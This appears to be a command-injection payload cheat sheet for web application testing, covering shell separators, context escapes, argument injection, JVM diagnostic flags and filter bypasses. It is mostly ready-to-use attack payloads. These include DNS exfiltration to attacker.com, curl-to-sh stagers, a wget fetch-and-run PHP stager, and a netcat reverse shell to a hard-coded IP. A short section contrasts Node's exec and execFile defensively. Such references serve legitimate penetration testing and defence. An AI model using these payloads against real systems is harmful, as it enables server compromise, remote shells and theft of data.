Command injection permits the execution of arbitrary OS commands by an attacker on the server hosting an application, potentially fully compromising the application and its data.
Basic Payloads
# Supported on both Unix and Windows
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both via pipe
ls&&id; ls &&id; ls&& id; ls && id # Execute 2nd if 1st succeeds
ls&id; ls &id; ls& id; ls & id # Execute both (only 2nd output)
ls %0A id # %0A (newline) executes both
# Unix only
`ls`
$(ls)
ls; id # Semicolon chain
# Redirect output
> /var/www/html/out.txt
< /etc/passwd
Context Escaping
Depending on where your input is injected, you may need to terminate the quoted context first:
# Inside single quotes
vuln_param='; id; echo '
# Inside double quotes
vuln_param="; id; echo "
# Inside backtick
vuln_param='`; id; `'
Top Vulnerable Parameters
?cmd= ?exec= ?command= ?execute=
?ping= ?query= ?jump= ?code=
?reg= ?do= ?func= ?arg=
?option= ?load= ?process= ?step=
?read= ?req= ?feature= ?exe=
?module= ?payload= ?run= ?print=
Node.js child_process.exec vs execFile
exec() spawns a shell (/bin/sh -c), so any shell metacharacters in user input result in command injection. Always use execFile() or spawn() with separate argument arrays.
// VULNERABLE: shell metacharacters interpreted
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, callback);
// SAFE: no shell involved
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable via a WebSocket event placing attacker-controlled data into an exec() call (Pwn2Own Ireland 2024).
Argument/Option Injection via Leading Hyphen
Not all injections require shell metacharacters. If untrusted strings are passed as arguments to system utilities (even with execFile), programs parse - and -- arguments as options:
# ping option injection
-f # flood ping (DoS)
-c 100000 # large count
# curl option injection
-o /tmp/x # write output to file
-K <url> # load attacker config
# tcpdump option injection
-G 1 -W 1 -z /path/script.sh # post-rotate execution
Bash Arithmetic Evaluation Injection
RewriteMap helpers in bash using arithmetic contexts ([[ $a -gt $b ]], $((...)), let) re-expand variables:
# Ivanti EPMM pattern
# Send: st=theValue&h=gPath['sleep 5']
# gStartTime becomes "theValue", theValue contains array index
# During arithmetic check: executes sleep 5
curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
JVM Diagnostic Callbacks for Guaranteed RCE
Any primitive that lets you inject JVM command-line arguments can be turned into reliable RCE:
# Force crash + run OS command on OOM
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl https://attacker/p.sh | sh'"
Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required.
Blind Exfiltration
Time-Based
DNS Exfiltration
# Extract char by char using timing
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
# Takes 5 seconds = first char is 's'
time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
# No delay = first char is not 'a'
# Exfiltrate via DNS queries
for i in $(ls /); do host "$i.attacker.com"; done
# Using dnsbin
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Tools: dnsbin.zhack.ca, pingb.in
Filter Bypasses
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
# Space bypass
cat${IFS}/etc/passwd
{cat,/etc/passwd}
X=$'cat\x20/etc/passwd'&&$X
# Slash bypass
cat${HOME:0:1}etc${HOME:0:1}passwd
# Quote insertion
c'at' /etc/passwd
c"a"t /etc/passwd
PaperCut NG/MF Auth Bypass → Print Scripting RCE
1. Browse to /app?service=page/SetupCompleted and click Login (auth bypass)
2. Options → Config Editor: set print-and-device.script.enabled=Y
and print.script.sandboxed=N
3. In printer Scripting tab, place payload outside the function:
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
Real-World Examples
# wget-based stager
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
# netcat reverse shell
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
# Base64 encoded payload execution
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Resources